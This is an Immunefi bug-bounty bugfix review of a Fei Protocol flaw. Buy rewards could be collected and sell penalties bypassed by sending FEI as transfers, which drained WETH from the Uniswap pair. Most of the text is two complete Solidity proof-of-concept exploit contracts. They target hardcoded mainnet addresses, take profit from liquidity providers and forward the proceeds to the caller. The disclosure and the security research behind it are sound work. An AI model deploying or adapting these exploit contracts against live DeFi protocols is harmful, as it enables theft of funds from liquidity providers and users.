Fei Protocol Vulnerability Bugfix Review

Summary
On April 6, 0xRevert submitted a critical vulnerability as part of Fei Protocol’s bug bounty on Immunefi, which if exploited by a malicious user could have repeatedly drained ~1410 ETH from the WETH/FEI pool on Uniswap. Following the bug submission, Fei introduced a temporary mitigation that pauses minting of rewards until a more permanent fix can be implemented.
For this find, Fei Protocol is awarding 0xRevert a $300,000 bug bounty at this time.
Vulnerability Analysis
Fei Protocol is a fully decentralized, algorithmic stablecoin designed to keep FEI pegged to USD at a 1:1 ratio. Fei Protocol uses a system of reward and penalty incentives through minting and burning according to the distance from the peg to maintain the peg price. Rewards only apply when buying FEI below the peg. Penalties apply when selling FEI below the peg.
In this case, assuming a situation where the FEI price is below the peg, a malicious user could purchase FEI, pushing the price not just back to the 1:1 peg, but above the peg, receiving some amount of FEI as a buy reward in the process. The user could then drip the FEI back into the Uniswap pool via a transfer (not a swap), which bypasses the burn penalty, and finally convert the FEI to WETH with a swap. The end result is that the attacker receives a WETH from the pool without having (net) sold any FEI.
The exploit can be illustrated in the following steps.
- User uses the
UniswapV2Pair.swap
method to trade WETH for FEI from the Uniswap liquidity pool. This swap pushes FEI up to the peg, and continues to push the price above the peg. On top of the “normal” amount of FEI purchased, the user also receives a reward pushing FEI up to the peg. There is no disincentive for driving the price above the peg. - The
Fei.transfer
method, which is a normal ERC-20 transfer and not a swap, drips the FEI back from the attacker contract into the Uniswap pair. Under normal conditions, the first transfer would return the price to the peg, and the second one would return the price below the peg, thus incurring a burn penalty for bringing the price below the peg. However, the definition of ‘selling below the peg,’ which is the condition that would trigger a burn, is computed using the reserves of the Uniswap pair. But since the Uniswap pool doesn’t update its reserves until you attempt a swap, thosetransfers
aren’t penalized for driving the price below the peg. - The user then calls the
UniswapV2Pair.swap
method again to get back the WETH that was originally swapped for FEI.UniswapV2Pair.swap
is a low-level method which interacts with the Uniswap pair directly instead of using the normal router interface. This accomplishes two things. First, it updates the reserve amounts in the Uniswap pool, restoring the price to its original value below the peg. Second, it cashes the attacker out in WETH. The amount of WETH returned is larger than the amount of WETH sold in step 1. The final result is that the attacker makes a riskless profit at the expense of the Uniswap liquidity providers by collecting buy rewards and bypassing sell penalties.
While you do incur swap fees using UniswapV2Pair.swap
, the fees are small relative to how much more you make in WETH by avoiding burn penalties when selling FEI. A fairly large amount of WETH is needed for step 1. It is left as an exercise to the reader as to how a user could obtain a sufficient amount of WETH for the purposes of this exploit.
Vulnerability Fix
Fei Labs has temporarily shut down all buy rewards and sell penalties and working on a validation of a proposed permanent fix. When that fix is implemented, rewards for buying FEI to push it back up to the peg will come back online.
Acknowledgements
We’d like to take this opportunity to thank 0xRevert for keeping the DeFi ecosystem secure and saving both users and Fei Protocol from a potentially devastating hack.
We’d also like to thank Fei Protocol for taking security and responsibility seriously by hosting a bug bounty program with Immunefi, which is an essential part of the DeFi security stack alongside their audits from OpenZeppelin and ConsenSys Diligence. This is exactly how bug bounties should work.
Fei would also like to express its gratitude to Immunefi for hosting and facilitating the bug submission process and writing this bugfix review.
If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.
If you’re interested in protecting your project with a bug bounty, visit the Immunefi services page and fill out the form.
What follows is a proof-of-concept exploit written by Michael McCanna and Duncan Townsend of Immunefi.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./refs/UniRef.sol";
import "./external/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
contract Exploit {
using SafeMathCopy for uint256;
using Decimal for Decimal.D256;
using Babylonian for uint256;
UniRef constant uniref = UniRef(0xfe5b6c2a87A976dCe20130c423C679f4d6044cD7); // UniswapIncentive
// copied directly from UniRef.sol
function _getAmountToPeg(uint256 reserveTarget, uint256 reserveOther, Decimal.D256 memory peg) internal pure returns (uint256) {
uint256 radicand = peg.mul(reserveTarget).mul(reserveOther).asUint256();
uint256 root = radicand.sqrt();
if (root > reserveTarget) {
return (root - reserveTarget).mul(1000).div(997);
}
return (reserveTarget - root).mul(1000).div(997);
}
function run() external payable {
uint256 startBalance = address(this).balance;
IUniswapV2Pair pair = uniref.pair();
IERC20 fei = IERC20(pair.token0());
IWETH weth = IWETH(pair.token1());
(uint112 feiReserves, uint112 wethReserves,) = pair.getReserves();
uint256 amountToPeg = _getAmountToPeg(feiReserves, wethReserves, uniref.peg());
uint256 buyAmount = amountToPeg.mul(2);
// push price high
uint256 ethIn = UniswapV2Library.getAmountIn(buyAmount, wethReserves, feiReserves);
require(startBalance >= ethIn, "Not enough ETH to go above peg");
weth.deposit{value: ethIn}();
require(weth.transfer(address(pair), ethIn), "WETH transfer failed");
pair.swap(buyAmount, 0, address(this), "");
uint256 purchasedFei = fei.balanceOf(address(this));
require(purchasedFei > buyAmount, "Didn't get a buy reward");
// return purchased FEI
uint256 pairStartBalance = fei.balanceOf(address(pair));
uint256 safeSellAmount = amountToPeg.div(2); // this can be tweaked to reduce gas consumption
while (true) {
uint256 feiBalance = fei.balanceOf(address(this));
if (feiBalance > safeSellAmount) {
feiBalance = safeSellAmount;
}
require(fei.transfer(address(pair), feiBalance), "FEI transfer failed");
if (feiBalance != safeSellAmount) {
break;
}
}
require(fei.balanceOf(address(this)) == 0, "Didn't sell all FEI");
require(fei.balanceOf(address(pair)) >= pairStartBalance.add(purchasedFei), "Got burned");
// get our ETH back (and then some)
(feiReserves, wethReserves,) = pair.getReserves();
uint256 withdrawAmount = UniswapV2Library.getAmountOut(
purchasedFei,
feiReserves,
wethReserves
);
pair.swap(0, withdrawAmount, address(this), "");
weth.withdraw(withdrawAmount);
// return all ETH to caller
require(address(this).balance > startBalance, "Didn't make a profit");
(bool success,) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
}
In the course of Fei and Immunefi’s examination of this vulnerability, we discovered a variant of this attack that uses EthUniswapPCVController.reweight
to restore the FEI price to the peg instead of dripping the FEI back into the Uniswap pool to bypass the sell burn. This attack is made more complex by the requirement that it bypass the faulty nonContract
modifier.
What follows is a proof-of-concept exploit written by Joey Santoro of Fei and Michael McCanna and Duncan Townsend of Immunefi.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./refs/UniRef.sol";
import "./pcv/IUniswapPCVController.sol";
import "./external/UniswapV2Library.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
contract ReweightFrontrun {
using SafeMathCopy for uint256;
using Decimal for Decimal.D256;
using Babylonian for uint256;
UniRef constant uniref = UniRef(0xfe5b6c2a87A976dCe20130c423C679f4d6044cD7); // UniswapIncentive
IUniswapIncentive constant uniincentive = IUniswapIncentive(0xfe5b6c2a87A976dCe20130c423C679f4d6044cD7);
IUniswapPCVController constant pcvcontroller = IUniswapPCVController(0x7a165F8518A9Ec7d5DA15f4B77B1d7128B5D9188);
// copied directly from UniRef.sol
function _getAmountToPeg(uint256 reserveTarget, uint256 reserveOther, Decimal.D256 memory peg) internal pure returns (uint256) {
uint256 radicand = peg.mul(reserveTarget).mul(reserveOther).asUint256();
uint256 root = radicand.sqrt();
if (root > reserveTarget) {
return (root - reserveTarget).mul(1000).div(997);
}
return (reserveTarget - root).mul(1000).div(997);
}
constructor() public payable {
uint256 startBalance = address(this).balance;
IUniswapV2Pair pair = uniref.pair();
IERC20 fei = IERC20(pair.token0());
IWETH weth = IWETH(pair.token1());
(uint112 feiReserves, uint112 wethReserves,) = pair.getReserves();
uint256 amountToPeg = _getAmountToPeg(feiReserves, wethReserves, uniref.peg());
uint256 buyAmount = amountToPeg.div(2);
// push price higher
uint256 ethIn = UniswapV2Library.getAmountIn(buyAmount, wethReserves, feiReserves);
require(startBalance >= ethIn, "Not enough ETH to run exploit");
require(pcvcontroller.reweightEligible(), "Reweight not eligible before buy");
weth.deposit{value: ethIn}();
require(weth.transfer(address(pair), ethIn), "WETH transfer failed");
pair.swap(buyAmount, 0, address(this), "");
uint256 purchasedFei = fei.balanceOf(address(this));
require(purchasedFei >= buyAmount, "Failed to buy FEI");
// reweight
require(pcvcontroller.reweightEligible(), "Reweight not eligible after buy");
pcvcontroller.reweight();
// get our ETH back (and then some)
(uint256 burn,,) = uniincentive.getSellPenalty(purchasedFei);
uint256 sellAmount = purchasedFei.sub(burn);
require(fei.transfer(address(pair), purchasedFei), "FEI transfer failed");
(feiReserves, wethReserves,) = pair.getReserves();
uint256 withdrawAmount = UniswapV2Library.getAmountOut(
sellAmount,
feiReserves,
wethReserves
);
pair.swap(0, withdrawAmount, address(this), "");
weth.withdraw(withdrawAmount);
// return all ETH to caller
require(address(this).balance > startBalance, "Didn't make a profit");
(bool success,) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
selfdestruct(msg.sender);
}
}